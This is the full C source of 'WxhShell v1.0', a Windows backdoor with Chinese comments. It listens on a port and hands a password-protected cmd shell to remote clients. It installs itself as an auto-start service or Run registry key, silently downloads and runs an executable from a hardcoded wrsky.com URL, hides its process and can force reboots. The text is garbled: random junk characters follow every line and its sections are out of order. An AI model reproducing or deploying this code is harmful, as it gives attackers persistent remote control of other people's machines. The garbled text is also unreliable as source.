    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LD'eq\vO  
    else { {x $h K98  
    closesocket(wsh); Dm,*G`Js  
    ExitThread(0); }d,iA FG  
    } ^,Paih 2  
    break; }RGp)OFY&  
    } YKjm_)8]w  
  // 获取shell 8=]R6[,fD  
  case 's': { ;8Z\bHQ>  
    CmdShell(wsh); N8<Wm>GLX~  
    closesocket(wsh); +/g/+B_b  
    ExitThread(0); E1atXx  
    break; p4 \r`  
  } 1gq(s2izy  
  // 退出 ^|z  
  case 'x': { 4FmT.P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &x}a  
    CloseIt(wsh); yv.UNcP?  
    break; 0?D`|x_  
    } 4t(V)1+  
  // 离开 m=Z1DJG  
  case 'q': { }CR@XD}[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N2!HkUy2  
    closesocket(wsh); XO*|P\#^  
    WSACleanup(); qusX]Tst z  
    exit(1); 3Mvm'T:[  
    break; E~=`Ac,G2  
        } hFDY2Cp]D  
  } $'SWH+G  
  } $6BD6\@  
yu3T5@Ww  
  // 提示信息 ^Vl{IsY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {8NnRnzU  
} DEGEr-  
  } ,S|v>i, @  
:hre|$@{a  
  return; E!d;ym  
} we<m%pf  
Ig&=(Kmr  
// shell模块句柄 82w='~y  
int CmdShell(SOCKET sock) _N4G[jQLJ  
{ K._tCB:  
STARTUPINFO si; 80X #V  
ZeroMemory(&si,sizeof(si)); Ppw0vaJ^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eOZ0L1JM!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l]BIFZ~  
PROCESS_INFORMATION ProcessInfo; kPN:m ow  
char cmdline[]="cmd"; [4V{~`sF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D49yV`  
  return 0; LwpO_/qV  
} gr\UI!]F  
CzP?J36W^  
// 自身启动模式 ?Y:>Ouv*z'  
int StartFromService(void) |hsg= LX  
{ 5iE-$,7#L  
typedef struct #G[S  
{ d!+8  
  DWORD ExitStatus; ),#%jc2_^  
  DWORD PebBaseAddress; ]>E)0<t  
  DWORD AffinityMask; V%F^6ds$]0  
  DWORD BasePriority; @dl{ .,J  
  ULONG UniqueProcessId; d5/x2!mH8  
  ULONG InheritedFromUniqueProcessId; sW'SR  
}   PROCESS_BASIC_INFORMATION; (vX+ Yw  
Ks|qJ3;  
PROCNTQSIP NtQueryInformationProcess; \'z&7;px  
.h!oo;@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (*{Y#XD{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E$B7E@(U  
clE_a?  
  HANDLE             hProcess; !j'9>G{T  
  PROCESS_BASIC_INFORMATION pbi; jH+ddBVA  
,>H(l$n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dso6ZRx  
  if(NULL == hInst ) return 0; _J'V5]=4  
y|sU-O2}Dl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PL;PId<9w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^FaBaDcnl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %Vf3r9 z  
<g/Z(<{wor  
  if (!NtQueryInformationProcess) return 0; 0L3v[%_j"  
$ yd "bJK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |?zFm mh  
  if(!hProcess) return 0; (XF"ckma  
uBdS}U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #$vQT}  
0)@7$Xhf  
  CloseHandle(hProcess); d D%Sbb  
!bf8 r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ="~yD[S  
if(hProcess==NULL) return 0; Ie12d@  
SSoD}N  
HMODULE hMod; ccUI\!TD{/  
char procName[255]; '/2u^&W  
unsigned long cbNeeded; dRl*rP/  
CN7 2 E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 28/At  
fdU`+[_  
  CloseHandle(hProcess); <xb=.xe  
L?aaR %6#  
if(strstr(procName,"services")) return 1; // 以服务启动 i3bDU(GS  
PWavq?SR  
  return 0; // 注册表启动 w6b\l1Z  
}  l,}^<P]  
`$kKTc:f  
// 主模块 aPR0DZ@  
int StartWxhshell(LPSTR lpCmdLine) ';HNQe?vT  
{ 8eAc 5by  
  SOCKET wsl; BQ[,(T`+R  
BOOL val=TRUE; zO@7V>2  
  int port=0; UKfC!YR2J8  
  struct sockaddr_in door; cJIA/HQe  
-#TF&-  
  if(wscfg.ws_autoins) Install(); =N,ahq  
e!eUgD  
port=atoi(lpCmdLine); [xm{4Ba2X  
,McwPHEMB  
if(port<=0) port=wscfg.ws_port; -W6r.E$mC  
Ym]Dlz,o  
  WSADATA data; aDDs"DXx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V~9vf*X  
=1:dKo8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;usv/8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /,tQdD&  
  door.sin_family = AF_INET; a>_Cxsb&`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tf:4}6P1  
  door.sin_port = htons(port); bVLuv`A/  
49e~/YY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $y2"Q,n+  
closesocket(wsl); JGLjx"Y  
return 1; 2r 0u[  
} QH) uh"  
#]g9O?0$  
  if(listen(wsl,2) == INVALID_SOCKET) { s#nd:$p3  
closesocket(wsl); iC$mb~G  
return 1; $@VQ{S  
} |afzW=8'  
  Wxhshell(wsl); |Z"5zL10  
  WSACleanup(); @P$_2IU"  
lZ\8$,B)  
return 0; !BQ:R(w  
KRL9dD,&  
} 2O*(F>>dT  
6wmMg i_m  
// 以NT服务方式启动 !)nA4l= S#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c~bTK" u  
{ Ah|,`0dw  
DWORD   status = 0;  {[i 37DN  
  DWORD   specificError = 0xfffffff; Wej'AR\NX  
SccaX P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -0tHc=\u(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; '`+GC9VG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V~9s+>  
  serviceStatus.dwWin32ExitCode     = 0; 5LIbHSK  
  serviceStatus.dwServiceSpecificExitCode = 0; pOe"S  
  serviceStatus.dwCheckPoint       = 0; szDd!(&pv  
  serviceStatus.dwWaitHint       = 0; ;q3"XLV(T[  
a$7}41F[~s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7*a']W{aJ  
  if (hServiceStatusHandle==0) return; 5Az4<  
|3h-F5V)  
status = GetLastError(); 8}Qmhm`_j=  
  if (status!=NO_ERROR) "IvFkS=*Q  
{ /W vgC)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H J8rb  
    serviceStatus.dwCheckPoint       = 0; RTEzcJ>  
    serviceStatus.dwWaitHint       = 0; Pd~{XM,yfW  
    serviceStatus.dwWin32ExitCode     = status; \?|FB~.Ry  
    serviceStatus.dwServiceSpecificExitCode = specificError; pKxq\U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sK&[sN33  
    return; l1EI4Y9KG  
  }  /uyZ[=5  
AwC"c '  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >@mvb@4*  
  serviceStatus.dwCheckPoint       = 0; xv+47.?N  
  serviceStatus.dwWaitHint       = 0; 5i$iUDuT>(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {cW%i:  
} kt0ma/QpP  
qi&;2Yv  
// 处理NT服务事件,比如:启动、停止 m7F"kD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _tJm0z!  
{ : }q~<  
switch(fdwControl) 'H]&$AZ;@  
{ UP})j.z  
case SERVICE_CONTROL_STOP: IGtpL[.;/  
  serviceStatus.dwWin32ExitCode = 0; Q8~|0X\.g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9CxFj)#5F  
  serviceStatus.dwCheckPoint   = 0; $YNWT\FE  
  serviceStatus.dwWaitHint     = 0; dpTeF`N  
  {  s_p\ bl.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |@+/R .l  
  } V*C%r:5 ,v  
  return; CBVL/pxy  
case SERVICE_CONTROL_PAUSE: 9 :ubPqt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;Sqn w  
  break; ^qro0]"LD  
case SERVICE_CONTROL_CONTINUE: $1F$3"k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z :q9~  
  break; DMcH, _(  
case SERVICE_CONTROL_INTERROGATE: qpCNvhi  
  break; RXbhuI  
}; 7SyysH<H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lQ]8PR t8  
} ,*r}23  
h5do?b v!  
// 标准应用程序主函数 d`g)(*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /p PSo  
{ E;vF :?|  
b)e';M  
// 获取操作系统版本 T0Kjnzs  
OsIsNt=GetOsVer(); WA$Ug  
GetModuleFileName(NULL,ExeFile,MAX_PATH); + bU*"5"  
|RA|nu   
  // 从命令行安装 x&N!SU6  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6~rO(  
1\{_bUZ&  
  // 下载执行文件 JR_s-&GaM  
if(wscfg.ws_downexe) { "7. lsL5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A;'*>NS  
  WinExec(wscfg.ws_filenam,SW_HIDE); }nO[;2Na  
} Xe J|Z)qZ  
^G*zFqa+`  
if(!OsIsNt) { ku&m)'  
// 如果时win9x,隐藏进程并且设置为注册表启动 @'ln)RT,  
HideProc(); @8;0p  
StartWxhshell(lpCmdLine); yW!+:y_N_  
}  uK_R#^  
else ="<S1}.  
  if(StartFromService()) N;6@f*3_i  
  // 以服务方式启动 ~ZN]2}  
  StartServiceCtrlDispatcher(DispatchTable); YO3$I!(  
else d ~`_;.z  
  // 普通方式启动 s.8]qQRr  
  StartWxhshell(lpCmdLine); (oiF05n h  
YM(` E9{h  
return 0; { yvKUTq`  
} -2`D(xC  
^-|yF2>`  
[tP6FdS/M=  
!K~L&.\T  
=========================================== 6 pQbh*  
GY[+HgT  
TfFuHzZZ  
WL6p+sN'  
)RFE< Qcj  
5YQq*$|'+  
" , id`=L=  
! 54(K6a[  
#include <stdio.h> DKzP)!B "  
#include <string.h> 9W~3E^x  
#include <windows.h> jxt^d  
#include <winsock2.h> yVP 1=pz_[  
#include <winsvc.h> u40k9vh  
#include <urlmon.h> u{/!BCKE  
@uWPo2  
#pragma comment (lib, "Ws2_32.lib") vcsMU|GGh  
#pragma comment (lib, "urlmon.lib") bN',-[E  
HxgH*IMs  
#define MAX_USER   100 // 最大客户端连接数 o (OC3  
#define BUF_SOCK   200 // sock buffer [8sL);pJO  
#define KEY_BUFF   255 // 输入 buffer A)X 'We  
CL U[')H0  
#define REBOOT     0   // 重启 Q%AD6G(7  
#define SHUTDOWN   1   // 关机 F%v?,`_&I  
@$ea-fK??  
#define DEF_PORT   5000 // 监听端口 j+p=ik  
<<Fk[qMA  
#define REG_LEN     16   // 注册表键长度 *Y2d!9F}Sa  
#define SVC_LEN     80   // NT服务名长度 _*.Wo"[%[X  
;zbF~5e  
// 从dll定义API i n^Rf` "  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bN#)F    
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p4|Zz:f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 54A ndyeA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4I[g{S nF  
zqq$PaH*  
// wxhshell配置信息 Tn# >"Ag  
struct WSCFG { oXR%A7  
  int ws_port;         // 监听端口 E+65  
  char ws_passstr[REG_LEN]; // 口令 ?\7 " A  
  int ws_autoins;       // 安装标记, 1=yes 0=no n{~W s^d  
  char ws_regname[REG_LEN]; // 注册表键名 );$L#XpB  
  char ws_svcname[REG_LEN]; // 服务名 pGy]t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ya9V+/i7T_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >,8DwNuq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ef;OrE""  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J% B(4`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C#5z!z/:%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Hm?zMyO.k  
Q6cF <L`bW  
}; && }'  
nnU &R  
// default Wxhshell configuration OG_2k3v  
struct WSCFG wscfg={DEF_PORT, Ny;(1N|&3  
    "xuhuanlingzhe", cTKj1)!z?X  
    1, p5!=Ur&A c  
    "Wxhshell", /=x) 9J  
    "Wxhshell", ( _ZOUMe  
            "WxhShell Service", Y9TaU]7]  
    "Wrsky Windows CmdShell Service", S-"&#OfWg<  
    "Please Input Your Password: ", ,H3~mq]  
  1, zY<=r.m4  
  "http://www.wrsky.com/wxhshell.exe", -Fodqq@,  
  "Wxhshell.exe" K h}Oiw  
    }; A|#9  
Q0f7gY1-%  
// 消息定义模块 h Znq\p~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9=D\xBd|w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?hh 4M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2 $^n@<uZ@  
char *msg_ws_ext="\n\rExit."; Y~T;{&wi  
char *msg_ws_end="\n\rQuit."; ZJ9J*5!C  
char *msg_ws_boot="\n\rReboot..."; igp[cFN  
char *msg_ws_poff="\n\rShutdown..."; swvn*xr  
char *msg_ws_down="\n\rSave to "; 1&~u:RUXe  
zg!;g`Z@S  
char *msg_ws_err="\n\rErr!"; >!|Hns  
char *msg_ws_ok="\n\rOK!"; @, D 3$P8}  
+B$ o8V  
char ExeFile[MAX_PATH]; -MV</  
int nUser = 0; gaaW:**y  
HANDLE handles[MAX_USER]; k=j--`$8k  
int OsIsNt; `1F[.DdF  
=dD<[Iz6  
SERVICE_STATUS       serviceStatus; d]0.6T1[K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %EYh5 W  
D!kv+<+  
// 函数声明 klduJ T >  
int Install(void); xQX,1NbH5  
int Uninstall(void); r>1M&Y=<  
int DownloadFile(char *sURL, SOCKET wsh); UH1AT#?!W  
int Boot(int flag); [vkz<sL"  
void HideProc(void); tuuc9H4B  
int GetOsVer(void); |ahleu  
int Wxhshell(SOCKET wsl); TJ3CXyRq  
void TalkWithClient(void *cs); TIbqUR  
int CmdShell(SOCKET sock); TN}YRXtW+  
int StartFromService(void); ps1ndGp~#  
int StartWxhshell(LPSTR lpCmdLine); {yQeLION  
|'WaBy1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z5PFppSQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Tx%6whd/'  
JX,&im*BG  
// 数据结构和表定义 A-e#&pJ  
SERVICE_TABLE_ENTRY DispatchTable[] = k;PQVF&E  
{ Bfe#,  
{wscfg.ws_svcname, NTServiceMain}, S}6Ty2.\  
{NULL, NULL} ax$ashFO/!  
}; U;QTA8|!&  
.4E5{F{~  
// 自我安装 \d$fi*{  
int Install(void) jMv qKJ(<  
{ 4po zTe  
  char svExeFile[MAX_PATH]; IcmTF #{D  
  HKEY key; K ZoIjK]  
  strcpy(svExeFile,ExeFile); ybLl[K(D=  
&Omo\Oq&W>  
// 如果是win9x系统,修改注册表设为自启动 Q@]~O-  
if(!OsIsNt) { ~ 8L]!OQ9=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3!E*h0$}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fy:CG6@X  
  RegCloseKey(key); 52Sq;X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {l$DNnS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]TE(:]o7V  
  RegCloseKey(key); yW =I*f  
  return 0; f0^;*Y  
    } {pWb*~!k  
  } h4iz(*  
} vHydqFi9  
else { s%cfJe_k  
OuZPgN  
// 如果是NT以上系统,安装为系统服务 o$4i{BL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;nSOe AF)Q  
if (schSCManager!=0) MBIlt 1P  
{ ce&Q}_  
  SC_HANDLE schService = CreateService  AhyV  
  ( pYRqV  
  schSCManager, KfPYH\ 0  
  wscfg.ws_svcname, g +RgDt9  
  wscfg.ws_svcdisp, :cE6-Fv  
  SERVICE_ALL_ACCESS, %&Fsk]T%:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , av8\?xmo.$  
  SERVICE_AUTO_START, t| cL!  
  SERVICE_ERROR_NORMAL, M+|J;caX  
  svExeFile, bb4 `s0  
  NULL,  fOUW{s  
  NULL, m)1+D"z  
  NULL, w7d<Ky_C  
  NULL, %U uVD  
  NULL xHpB/P~  
  ); ~+)sL1lx  
  if (schService!=0) \/8oua_)  
  { NZQl#ZJH:  
  CloseServiceHandle(schService); 6Trtulm  
  CloseServiceHandle(schSCManager); <F&53N&Zc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]MaD7q>+R  
  strcat(svExeFile,wscfg.ws_svcname); JL:\\JT.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *<#$B}!{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a<Ksas'5S  
  RegCloseKey(key); Y8@TY?  
  return 0; MgrJ ;?L  
    } @3WI7q4  
  } GSaU:A  
  CloseServiceHandle(schSCManager); :#nv:~2]  
} a F5=k: k  
} WP ~]pduT  
HE.YfD)  
return 1; ;Vlt4,s)  
} NKRI|'Y,  
x2.YEuSMC  
// 自我卸载 h:~ 8WV|  
int Uninstall(void) w)Wg 8  
{ 6'6,ySo]  
  HKEY key; .qg 2zE$0  
tq&CJvJ4  
if(!OsIsNt) { H-5h-p k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TT3\c,cs  
  RegDeleteValue(key,wscfg.ws_regname); ,<O|Iis  
  RegCloseKey(key); -cL wjI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KxUO=v<u  
  RegDeleteValue(key,wscfg.ws_regname); Rs;Y|W4'  
  RegCloseKey(key); hhcO ]*  
  return 0; f/3rcYR;y  
  } b_>x;5k  
} gib'f@i;  
} #s3R4@{  
else { Yge}P:d9  
/PZxF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1R"Z+tNB  
if (schSCManager!=0) CSlPrx2\  
{ A?"/ >LM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g]jCR*]  
  if (schService!=0) uQiW{Kja2  
  { AQTV1f_  
  if(DeleteService(schService)!=0) { T0"q,lrdxV  
  CloseServiceHandle(schService); Mu/hTTiNx  
  CloseServiceHandle(schSCManager); {\55\e/C,  
  return 0; E{]PfUfFY  
  } ^ wb9n  
  CloseServiceHandle(schService); X{8g2](z.  
  } :|\)=4  
  CloseServiceHandle(schSCManager); ?6//'bO:%  
} ?<U">8cP  
} xP $\ }  
}xpo@(e  
return 1; d'[]  
} 7',WLuD  
Qq3UC%Z1  
// 从指定url下载文件 Ue(\-b\)  
int DownloadFile(char *sURL, SOCKET wsh) Eg4_kp0Lq  
{ }!N/?A5  
  HRESULT hr; +h8`8k'}-2  
char seps[]= "/"; BbhC 0q"J  
char *token; D+y?KihE  
char *file; KpT=twcK  
char myURL[MAX_PATH]; ?{\h`+A  
char myFILE[MAX_PATH]; )j. .)o  
MH|R@g  
strcpy(myURL,sURL); d&naJ)IoF)  
  token=strtok(myURL,seps); tgY/8& $M  
  while(token!=NULL) dUv(Pu(.#  
  { wH+| & C  
    file=token; r?/!VO-*N  
  token=strtok(NULL,seps); onl,R{,`0  
  } YT6dI"48  
G\K!7k`)!  
GetCurrentDirectory(MAX_PATH,myFILE); slaH2}$xR  
strcat(myFILE, "\\"); ]q/USVj{  
strcat(myFILE, file); s7,D}Zz  
  send(wsh,myFILE,strlen(myFILE),0); a|z@5r%  
send(wsh,"...",3,0); %DM0Z8P$B-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V=<AI.Z:w  
  if(hr==S_OK) biENRJQ.  
return 0; B +MnT{  
else <==6fc>s  
return 1; vsJDVJ +=  
/@&#U bN\  
} R{pF IyR  
6FY.kN\  
// 系统电源模块 *MQ`&;Qa,  
int Boot(int flag) hD{ `j  
{ hii#kB2  
  HANDLE hToken; @M"( r"ab  
  TOKEN_PRIVILEGES tkp; 3i~X`@$k>  
d.HcO^  
  if(OsIsNt) { p(nEcu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); | ^G38  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^?*<.rsG  
    tkp.PrivilegeCount = 1; TFAR>8Nm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F@mxd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v7\rW{~Jd&  
if(flag==REBOOT) { | AiMx2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J57; X=M  
  return 0; cICf V,j  
} Vf<q-3q  
else { #jd.i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IR#BSfBZ  
  return 0; (L yKo  
} Sp*4Z`^je  
  } yDWBrN._  
  else { Cy *.pzCi  
if(flag==REBOOT) { E(vO^)#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y B,c=Wx  
  return 0; ^bP`Iv  
} [ D.%v~j  
else { pWq+`|l$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '#=0q  
  return 0; J_;*@mW  
} ;FW <%  
} iQS,@6  
*C<;yPVc  
return 1; ifu!6_b.  
} {f@Q&(g  
,II3b( l  
// win9x进程隐藏模块 ^9 ]iUx  
void HideProc(void) 2ij&Db/  
{ 6q>}M  
841y"@*BY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GC'e  
  if ( hKernel != NULL ) u&^KrOM@#  
  { AI|+*amTd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nj1o!+9>$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n:2._s T  
    FreeLibrary(hKernel); qw?(^uZNW  
  } yj#*H  
gPT_}#_GxM  
return; x^EW'-a  
} E}v8Q~A(  
GqR|hg  
// 获取操作系统版本 lWtfcU?S[  
int GetOsVer(void) |R _rfJh  
{ Z\xnPhV  
  OSVERSIONINFO winfo; Bv!{V)$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  WZY+c  
  GetVersionEx(&winfo); xPPA8~Dm*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nq8XVT.m^\  
  return 1; {sGEopd8]q  
  else M\a{2f7'n  
  return 0; X%j`rQk`  
} \Ta5c31S+  
 1n +Uv*  
// 客户端句柄模块 ?d^6ynzn  
int Wxhshell(SOCKET wsl) vxTn  
{ c:u*-lYmK%  
  SOCKET wsh; \fiy[W/k  
  struct sockaddr_in client; wjwCs`  
  DWORD myID; 6PYt>r&TO  
H-+U^@w  
  while(nUser<MAX_USER) $rmxwxz&W:  
{ 5X=1a*2']  
  int nSize=sizeof(client); )9_W"'V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Eu'E;*- f  
  if(wsh==INVALID_SOCKET) return 1; BVNJas  
IDT\hTPIs  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {)lZfj}l  
if(handles[nUser]==0) &qG/\  
  closesocket(wsh); DxNob-F r  
else T` h%=u|D  
  nUser++; [0y,K{8t  
  } $q:l \  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5=I({=/>  
,"is%O.  
  return 0; J<"K`|F  
} RU7+$Z0K  
JAd .\2%Y  
// 关闭 socket {l,&F+W$C  
void CloseIt(SOCKET wsh) SNOc1c<~  
{ ~6n|GxR.[  
closesocket(wsh); qsW&kW~  
nUser--; UTh2? Rh/  
ExitThread(0); N^$q;%  
} xOKJOl  
QOktIH  
// 客户端请求句柄 (0q`eO2  
void TalkWithClient(void *cs) eLPtdP5k  
{ Hq 5#.rZ#  
=Pw{1m|k  
  SOCKET wsh=(SOCKET)cs; <Hr<QiAK  
  char pwd[SVC_LEN]; pLCj"D).M  
  char cmd[KEY_BUFF]; z@3gNY&7.8  
char chr[1]; S8dfe~|7:  
int i,j; x)dLY.'|  
Z40k>t D  
  while (nUser < MAX_USER) { OP=brLGu0  
a5/, O4Q  
if(wscfg.ws_passstr) { wi7Br&bGi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N.q~\sF^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^g6v#]&WA  
  //ZeroMemory(pwd,KEY_BUFF); {U_ ,y(V  
      i=0; 6AJ`)8HX  
  while(i<SVC_LEN) { E*5aLT5!,  
J' P:SC1  
  // 设置超时 9ns( F:  
  fd_set FdRead; O713'i  
  struct timeval TimeOut; ? bWc<]  
  FD_ZERO(&FdRead); 4'#=_J  
  FD_SET(wsh,&FdRead); rhPv{6Z|7  
  TimeOut.tv_sec=8; .jqil0#)Y"  
  TimeOut.tv_usec=0; :j3'+% '2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c!6v-2ykv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vzI>:Bf  
qbq2Bi'a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ? 3fnt"  
  pwd=chr[0]; jbS@6 * _  
  if(chr[0]==0xd || chr[0]==0xa) { n]#YL4j  
  pwd=0; JJ)  
  break; K\Q4u4DjbJ  
  } <`SA >P  
  i++; |khFQ(  
    } xM<aQf\j  
1N$OXLu  
  // 如果是非法用户,关闭 socket 5g-1pzP9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -!~pa^j  
} tE-bHu370  
WNjG/U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8u)>o* :  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x4kQGe(  
qmn l  
while(1) { (kX:@9Pn  
qm_r~j  
  ZeroMemory(cmd,KEY_BUFF); Z"Lr5'}  
fGe ie m  
      // 自动支持客户端 telnet标准   w8q 2f-K-  
  j=0; L:&'z:,<  
  while(j<KEY_BUFF) { =[aiW|Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wG s'qL"z  
  cmd[j]=chr[0]; *\:sHVyG(  
  if(chr[0]==0xa || chr[0]==0xd) { GE] QRKf  
  cmd[j]=0; (g[WZB3x  
  break; Xajt][  
  } "+O/OKfR0  
  j++; Y#9bM $x7  
    } mmjWLrhlu  
be-HF;lZe'  
  // 下载文件 6j1C=O@S  
  if(strstr(cmd,"http://")) { ;=P!fvHk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dhP")@3K;p  
  if(DownloadFile(cmd,wsh)) `N}V i6FG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h~%8p ]  
  else k&[6Ld0~56  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >U\P^yU  
  } NyC&j`d  
  else { C %j%>X`  
pIpdVKen  
